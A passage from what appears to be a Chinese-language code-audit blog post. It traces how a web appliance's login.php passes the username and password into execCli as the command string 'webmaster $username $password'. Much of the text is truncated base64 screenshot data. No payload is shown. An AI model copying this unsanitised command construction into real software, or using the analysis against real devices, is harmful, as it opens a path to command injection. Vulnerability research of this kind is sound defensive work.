IKkpJTOK49JII4qqo8AaV/FGWM4vPsv7DAGY1wUl9fA0Oub1socMu5R5g+tYo+7uQ3GuKh2A9FjGTOooZ0Dv8YDc+f6JDtblfeqt83n/azPW3KSo+NNe4an4MAzUjX71mkd1iUiIiIiIiIigQlPHWgpPWowR/fx2cFxpI+awpCGJ+tc2/isUtPL5cJgCh9iX1IuzmeHNx1ra01MU/gQefycqff8AeeMxnIb2Pe9B3023enx+Cqep+h7+xj57JJW62Ke3Hhn0+7hjVPi6769g4zvFDOssS07F7H5PwOPL5D2GlPKlkIX2bNu5Y60Tawp8X2+cVq2d0Jw9t3LuMVWk//2E2w82nz84PbneSt6KbNvWoYTsGW/Z8k6FzOzx/iM4Pz0o+UkZC/E2VjOVrP5neXgXEhGG+1pWR7gkNdanIHWB2DT5pCTCZXrN7e7aY8pWU1uUQ4LstqpRERERERERES6zKSmjbjg5j3GJyRyqLoq2GG0S/H1Lpv8KJmPzIP37mpK/EnPsXYqD624n6yiV7j3Z3ntlrti2lJuYRVLNxWdw+h6h/PhldyXWcAv571IfgeJ7LS7lvGj7CQq1j3FU6+XnsMIRURERERE5Hw2NCWV8jJ9j+xIWLADEOlxQ4YTZUzDjtvS04zJ4631LkzWAzzo7PhvIIdrA9+JPNRY50IWZBkKX+04gWntVG6Z5cBWruXV1QEuuCkiIiIiIiIiHVISU85r1o4m5duPNm2GY+1sRn59BrbqNcoKghzcBazk9Sd4tdCSteCZdjex2bFpUdMU7vOVTZvD0wsmYAtf5qX8thOY1qZyx5KVrPjPBzyjUxevbnfKuYiIiIiIiIh0TXiwAxDpDmN2ceCdbDKf3UlUQ+LIszbkmxDkRJK1sxn57BLiO4nDVr3G9md6b8Og3pK3/AckL/0JWZPTWFNyYQ55Hz55IkmdTJs3ppQ1i7/FmnMYl4iIiIiIiEhfozUxg0DxiYiIiIiIiIhII62J2TlNJxcREREREREREZGQpiSmiIiIiIiIiIiIhDQlMUVERERERERERCSkKYkpIiIiIiIiIiIiIU1JTBEREREREREREQlpSmKKiIiIiIiIiIhISFMSU0REREREREREREKakpgiIiIiIiIiIiIS0pTEFBERERERERERkZCmJKZIO2zCSP794Wz+9PAEZljbo3U7H17JT+9KbXU87a5l/GrJHNJ6+HwiIiIiIiIiIuczJTFFusHaZBY/nM2/Tx3g92ucD6/kvkwXhR+XtHpu/8dbqXTk8MOF03oyTBERERERERGR81o4gLXxpGVdRqwxbRY69vlmSo+2/ZzIhcpU7+Fff7an4UHP9H/rXMiCLEPBfzzOmpLWdZqS1Tz5ahIr/uUBHnRu4qV8/dyJiIiIiIiIiIQDGHOI0qJDrZ60A9O5cngk9afOeVwiFxxrp/LQggnYwpc7TE6a/OW8etVK7lvwCM68F8nvoQSqiIiIiIiIiMj5Kry9J6yNYIhjEBz7O1V1SqJIaLN2AN/652u5I840PD7OH3/3Hr+ubnyczJMLM5nMiU6P24SR/OLrlzG0IXloD3/Gd3+9m394JRNHTJ3OC1d5TSG/ajpvXNX8sPyT9/nXvOM+MQ6fcytZFPDL5Zs6HdmZ90YuOZk55MxJI//10nbaPJWHVtxPliuXHy9aRYmSnSIiIiIiIiJygWo3icmgYSRG1FNVUgMoLine truncated
|
||||
</li>
|
||||
<li>
|
||||
<p>跟进到execCli函数,我们可以看到这个函数有三个形式参数,$mode, $command, $answer,初步猜测第一个是模式,第二个是命令,从上面我们也可以知道从login.php传过来的时候,$mode=exec, $command="webmaster $username $password",到这里我们确定了execCli函数会执行命令,但是这个命令我们没有见过,不是常见的系统命令,于是接着往下进一步分析下execCli这个函数是怎么处理这条命令的。</p>
|
||||
<p><img src="data:image/png;base64,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 truncated
|
||||
</li>
|
||||
<li>
|
||||
<p>往下看这个函数的内部一开始也是在判断参数是否为空,然后在下面会传入到一个php_exec_cli函数中,我一开始想着又是要看另一个函数,于是按着Ctrl对函数名一阵狂点,试图跟进,但是死活不管用....</p>
|
||||
<p><img src="data:image/png;base64,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 truncated
|
||||
</li>
|
||||
<li>
|
||||
<p>仔细一看,哈哈,原来是上面自己定义的一个函数,动态加载php cli的通信模块,与其他命令行进行了互联通信,但是我们本地的源码并没有client.so。此时陷入了僵局,当时我也不知道webmaster 这究竟是一条什么命令。</p>
|
||||
<p><img src="data:image/png;base64,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